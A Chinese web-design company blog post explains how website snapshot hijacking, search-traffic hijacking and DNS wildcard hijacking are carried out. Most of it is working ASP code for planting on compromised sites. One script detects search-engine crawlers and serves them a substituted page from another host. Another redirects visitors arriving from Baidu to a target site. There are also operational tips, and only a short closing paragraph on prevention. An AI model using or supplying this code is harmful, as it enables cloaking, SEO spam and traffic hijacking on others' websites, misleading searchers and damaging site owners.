網(wǎng)站引擎劫持,網(wǎng)站快照劫持,新聞源劫持如何操作與防范

2021-03-04    分類: 網(wǎng)站建設(shè)

前兩天看到有網(wǎng)友問網(wǎng)站引擎劫持,網(wǎng)站快照劫持,新聞源劫持是怎么操作的。結(jié)果大多數(shù)網(wǎng)友都表示不了解,我今天來跟大家分享一下網(wǎng)站劫持是怎么操作的,如何防范。

1.網(wǎng)站快照劫持

動態(tài)頁面首頁通過在PHP或者ASP,ASPX文件中添加判斷代碼,判斷如果是蜘蛛訪問就修改標(biāo)題內(nèi)容,在標(biāo)題內(nèi)容寫入聯(lián)系方式和非法廣告信息,如果不是蜘蛛訪問就不做修改。

靜態(tài)頁面首頁,在下午三點左右刪除你的.html文件,添加inde.php,php中寫入類似上面的語句,如果是蜘蛛就返回修改了標(biāo)題的首頁內(nèi)容,不是就返回正常內(nèi)容。

快照劫持比較討厭,就算你修復(fù)了劫持,百度上還是會顯示很長一段時間的非法快照信息。

代碼如下:

<%

function GetBot()

'查詢蜘蛛

dim s_agent

GetBot=""

s_agent=Request.ServerVariables("HTTP_USER_AGENT") '關(guān)鍵判斷語句

if instr(1,s_agent,"googlebot",1) >0 then

GetBot="google"

end if

if instr(1,s_agent,"msnbot",1) >0 then

GetBot="MSN"

end if

if instr(1,s_agent,"slurp",1) >0 then

GetBot="Yahoo"

end if

if instr(1,s_agent,"baiduspider",1) >0 then

GetBot="baidu"

end if

if instr(1,s_agent,"sohu-search",1) >0 then

GetBot="Sohu"

end if

if instr(1,s_agent,"lycos",1) >0 then

GetBot="Lycos"

end if

if instr(1,s_agent,"robozilla",1) >0 then

GetBot="Robozilla"

end if

end function

Function getHTTPPage(Path)

t = GetBody(Path)

getHTTPPage=BytesToBstr(t,"GB2312")'編碼

End function

Function Newstring(wstr,strng)

Newstring=Instr(lcase(wstr),lcase(strng))

if Newstring<=0 then Newstring=Len(wstr)

End Function

Function GetBody(url)

on error resume next

Set Retrieval = CreateObject("Microsoft.XMLHTTP")

With Retrieval

.Open "Get", url, False, "", ""

.Send

GetBody = .ResponseBody

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(body,Cset)

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

Dim wstr,str,url,start,over,dtime

if GetBot="baidu" then

'給百度蜘蛛定制的內(nèi)容

url="http://baidu.seowhy.com"

'想要展示給蜘蛛的頁面地址

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

elseif GetBot="google" then

'給google 蜘蛛定制的內(nèi)容

url="http://baidu.seowhy.com"

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

end if

2.搜索引擎流量劫持

這種劫持比快照劫持簡單,直接在首頁添加,判斷訪問來路是搜索引擎還是其它的JS代碼,當(dāng)來路是搜索引擎的時候就跳轉(zhuǎn)到目標(biāo)站。

代碼如下:

<%

ifinstr(Request.ServerVariables("http_referer"),"www.baidu.com")>0then

'如果用戶來自www.baidu.com

response.redirect("http://baidu.seowhy.com/")

'跳轉(zhuǎn)指定地址

end if

%>

3.DNS白菜站劫持

在域名解析里添加泛解析到目標(biāo)地址,在目標(biāo)地址主機上大量生成劫持域名的子站。

總結(jié):1和2需要獲得網(wǎng)站的WEBSHELL或者FTP,如果獲得了新聞源網(wǎng)站的這種權(quán)限,就可以做新聞源劫持;3需要獲得DNS管理帳號。所以造成網(wǎng)站被劫持的主要原因還是自己網(wǎng)站被入侵,或者被掃FTP的挖掘機掃出了FTP帳號等,網(wǎng)絡(luò)安全沒做好的原因。所以只要網(wǎng)絡(luò)安全到位,別人是劫持不你的網(wǎng)站的。歡迎大家持續(xù)關(guān)注北京網(wǎng)站建設(shè)公司的網(wǎng)站,希望大家能夠從創(chuàng)新的網(wǎng)站中學(xué)到東西,增強自己的知識。

本文名稱:網(wǎng)站引擎劫持,網(wǎng)站快照劫持,新聞源劫持如何操作與防范
URL標(biāo)題:http://www.muchs.cn/news18/104168.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃、靜態(tài)網(wǎng)站關(guān)鍵詞優(yōu)化、動態(tài)網(wǎng)站網(wǎng)站建設(shè)、搜索引擎優(yōu)化

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都seo排名網(wǎng)站優(yōu)化